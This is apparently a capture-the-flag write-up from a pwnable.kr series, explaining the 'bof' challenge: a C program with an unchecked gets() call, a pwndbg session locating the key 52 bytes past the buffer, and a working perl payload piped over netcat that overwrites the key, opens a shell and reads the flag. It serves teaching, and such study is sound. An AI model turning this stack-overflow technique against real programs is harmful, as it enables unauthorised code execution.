▄▄▄ ▄▄
▄██▀▀▀ ▄ █▄ ██
██ ▄▀█▄ ▄ ▀ ██ ██ ▄▄
██ ██ ████▄▄█▀█▄ ▄███▄ ▄██▀█ ████▄ ██ ▄███▄ ▄████
██ ▄██ ██ ██▄█▀ ██ ██ ▀███▄ ██ ██ ██ ██ ██ ██ ██
▀███▀ ▄█▀ ▀█▄▄▄▄▀███▀ █▄▄██▀ ▄████▀▄██▄▀███▀ ▀████
██
▀▀▀
04-25-2026 | pwnable.kr series
a buffer overflow is a common exploit that involves writing more data to a fixed-size array than it can hold. the consequence is that data stored in adjacent memory to the array is overwritten/corrupted, which can alter the flow of the program. this simple program demonstrates the concept:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}func() takes the argument 0xdeadbeef and
opens a shell if that value somehow changes to 0xcafebabe.
normally, arguments passed to a function should be safe from outside
modification. however, the unsafe gets() is used
here—gets() reads from the standard input into a buffer
until it reaches a newline or EOF, without checking for an input size.
thus, any data written past the buffer will clobber adjacent memory.
we’ll use gdb/pwndbg to examine the disassembly of func()
and see if key is in harm’s way.
$ gdb -q bof
pwndbg> b gets
Breakpoint 1 at 0x1060
pwndbg> r
Starting program: /home/bof/bof
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, _IO_gets (buf=0xffffd4fc "\204\326\377\377") at ./libio/iogets.c:32
32 ./libio/iogets.c: No such file or directory.
Disabling the emulation via Unicorn Engine that is used for computing branches as there isn't enough memory (1GB) to use it (since mmap(1G, RWX) failed). See also:
* https://github.com/pwndbg/pwndbg/issues/1534
* https://github.com/unicorn-engine/unicorn/pull/1743
Either free your memory or explicitly set `set emulate off` in your Pwndbg config
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────
EAX 0xffffd4fc —▸ 0xffffd684 ◂— 0x20 /* ' ' */
EBX 0x56559000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3efc
ECX 0x56557016 ◂— 0x69622f00
EDX 0
EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0
ESI 0xffffd614 —▸ 0xffffd75b ◂— '/home/bof/bof'
EBP 0xffffd528 —▸ 0xffffd548 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 —▸ 0x56555000 ◂— ...
ESP 0xffffd4dc —▸ 0x56556239 (func+60) ◂— add esp, 0x10
EIP 0xf7def8f0 (gets) ◂— endbr32
───────────────────────────────────────[ DISASM / i386 / set emulate off ]────────────────────────────────────────
► 0xf7def8f0 <gets> endbr32
0xf7def8f4 <gets+4> push ebp
0xf7def8f5 <gets+5> mov ebp, esp
0xf7def8f7 <gets+7> push edi
0xf7def8f8 <gets+8> call __x86.get_pc_thunk.di <__x86.get_pc_thunk.di>
0xf7def8fd <gets+13> add edi, 0x1b7703
0xf7def903 <gets+19> push esi
0xf7def904 <gets+20> push ebx
0xf7def905 <gets+21> sub esp, 0x1c
0xf7def908 <gets+24> mov ebx, dword ptr [edi - 0x70]
0xf7def90e <gets+30> mov esi, dword ptr [ebx]
────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────
00:0000│ esp 0xffffd4dc —▸ 0x56556239 (func+60) ◂— add esp, 0x10
01:0004│-048 0xffffd4e0 —▸ 0xffffd4fc —▸ 0xffffd684 ◂— 0x20 /* ' ' */
02:0008│-044 0xffffd4e4 ◂— 0xffffffff
03:000c│-040 0xffffd4e8 —▸ 0x56555034 ◂— 6
04:0010│-03c 0xffffd4ec —▸ 0x5655620a (func+13) ◂— add ebx, 0x2df6
05:0014│-038 0xffffd4f0 —▸ 0xf7ffd608 (_rtld_global+1512) —▸ 0xf7fc6000 ◂— 0x464c457f
06:0018│-034 0xffffd4f4 ◂— 0x20 /* ' ' */
07:001c│-030 0xffffd4f8 ◂— 0
──────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────
► 0 0xf7def8f0 gets
1 0x56556239 func+60
2 0x565562c5 main+40
3 0xf7d9e519 __libc_start_call_main+121
4 0xf7d9e5f3 __libc_start_main+147
5 0x565560fb _start+43
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/32xw $esp
0xffffd4dc: 0x56556239 0xffffd4fc 0xffffffff 0x56555034
0xffffd4ec: 0x5655620a 0xf7ffd608 0x00000020 0x00000000
0xffffd4fc: 0xffffd684 0x00000000 0x00000000 0x01000000
0xffffd50c: 0x0000000b 0xf7fc4540 0x00000000 0xf7d954be
0xffffd51c: 0x8bafe300 0xf7fa7000 0xffffd614 0xffffd548
0xffffd52c: 0x565562c5 0xdeadbeef 0xf7fbe66c 0xf7fbeb30
0xffffd53c: 0x565562b3 0x00000001 0xffffd560 0xf7ffd020
0xffffd54c: 0xf7d9e519 0xffffd75b 0x00000070 0xf7ffd000I’ve set a breakpoint at the start of gets() and run the
program to reach it at 0xf7def8f0. the command
x/32xw $esp dumps 32 4-byte words starting at the address
held in the stack pointer register, which gives us a glimpse of the
current stack frame. at this point, we can see 0xdeadbeef
at address 0xffffd530—this is key.
pwndbg> fin
Run till exit from #0 _IO_gets (buf=0xffffd4fc "\204\326\377\377") at ./libio/iogets.c:32
overflow me : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x56556239 in func ()
Value returned is $1 = 0xffffd4fc 'A' <repeats 32 times>
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────
EAX 0xffffd4fc ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
EBX 0x56559000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3efc
*ECX 0xf7fa89c0 (_IO_stdfile_0_lock) ◂— 0
*EDX 1
EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0
ESI 0xffffd614 —▸ 0xffffd75b ◂— '/home/bof/bof'
EBP 0xffffd528 —▸ 0xffffd548 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 —▸ 0x56555000 ◂— ...
*ESP 0xffffd4e0 —▸ 0xffffd4fc ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
*EIP 0x56556239 (func+60) ◂— add esp, 0x10
───────────────────────────────────────[ DISASM / i386 / set emulate off ]────────────────────────────────────────
► 0x56556239 <func+60> add esp, 0x10 ESP => 0xffffd4e0 + 0x10
0x5655623c <func+63> cmp dword ptr [ebp + 8], 0xcafebabe
0x56556243 <func+70> jne func+117 <func+117>
0x56556245 <func+72> call getegid@plt <getegid@plt>
0x5655624a <func+77> mov esi, eax
0x5655624c <func+79> call getegid@plt <getegid@plt>
0x56556251 <func+84> sub esp, 8
0x56556254 <func+87> push esi
0x56556255 <func+88> push eax
0x56556256 <func+89> call setregid@plt <setregid@plt>
0x5655625b <func+94> add esp, 0x10
────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────
00:0000│ esp 0xffffd4e0 —▸ 0xffffd4fc ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
01:0004│-044 0xffffd4e4 ◂— 0xffffffff
02:0008│-040 0xffffd4e8 —▸ 0x56555034 ◂— 6
03:000c│-03c 0xffffd4ec —▸ 0x5655620a (func+13) ◂— add ebx, 0x2df6
04:0010│-038 0xffffd4f0 —▸ 0xf7ffd608 (_rtld_global+1512) —▸ 0xf7fc6000 ◂— 0x464c457f
05:0014│-034 0xffffd4f4 ◂— 0x20 /* ' ' */
06:0018│-030 0xffffd4f8 ◂— 0
07:001c│ eax 0xffffd4fc ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
──────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────
► 0 0x56556239 func+60
1 0x565562c5 main+40
2 0xf7d9e519 __libc_start_call_main+121
3 0xf7d9e5f3 __libc_start_main+147
4 0x565560fb _start+43
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/32xw $esp
0xffffd4e0: 0xffffd4fc 0xffffffff 0x56555034 0x5655620a
0xffffd4f0: 0xf7ffd608 0x00000020 0x00000000 0x41414141
0xffffd500: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd510: 0x41414141 0x41414141 0x41414141 0x8bafe300
0xffffd520: 0xf7fa7000 0xffffd614 0xffffd548 0x565562c5
0xffffd530: 0xdeadbeef 0xf7fbe66c 0xf7fbeb30 0x565562b3
0xffffd540: 0x00000001 0xffffd560 0xf7ffd020 0xf7d9e519
0xffffd550: 0xffffd75b 0x00000070 0xf7ffd000 0xf7d9e519there’s a lot of noise from pwndbg, but all I’ve done here is execute
the rest of gets() with the fin command to
read from standard input, then filled overflowme with 32
bytes. this lets us see where the initialized data in the buffer is
stored relative to key, which is not very far away.
pwndbg> x/32xw $esp
0xffffd4e0: 0xffffd4fc 0xffffffff 0x56555034 0x5655620a
0xffffd4f0: 0xf7ffd608 0x00000020 0x00000000 0x41414141
0xffffd500: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd510: 0x41414141 0x41414141 0x41414141 0xd0b49c00
0xffffd520: 0xf7fa7000 0xffffd614 0xffffd548 0x565562c5
0xffffd530: 0xdeadbeef 0xf7fbe66c 0xf7fbeb30 0x565562b3
0xffffd540: 0x00000001 0xffffd560 0xf7ffd020 0xf7d9e519
0xffffd550: 0xffffd75b 0x00000070 0xf7ffd000 0xf7d9e519
pwndbg> p 0xffffd530 - 0xffffd4fc
$1 = 52we can see that 0xdeadbeef is offset 52 bytes ahead of
the data now in overflowme (0x414141…) when it’s filled to
capacity. now let’s smash the stack by overflowing the buffer and
writing over key with 0xcafebabe:
$ cat readme
bof binary is running at "nc 0 9000" under bof_pwn privilege. get shell and read flag
$ (perl -e 'print "A"x52 . "\xbe\xba\xfe\xca"'; cat) | nc 0 9000
whoami
bof_pwn
cat flag
Daddy_I_just_pwned_a_buff3r!the payload contains 52 filler bytes followed by
0xcafebabe in little-endian order, and is piped to the
binary behind port 9000 on the localhost. finally, the trailing
cat does two things: keeps the standard input stream open
to enter a newline, terminating the gets() call, and also
allows us to interact with the shell. note that triggering the stack
protector by writing over the canaries and return address located
between the local buffer and key would cause a crash if
func() ever returned, but fortunately, the shell is opened before
then.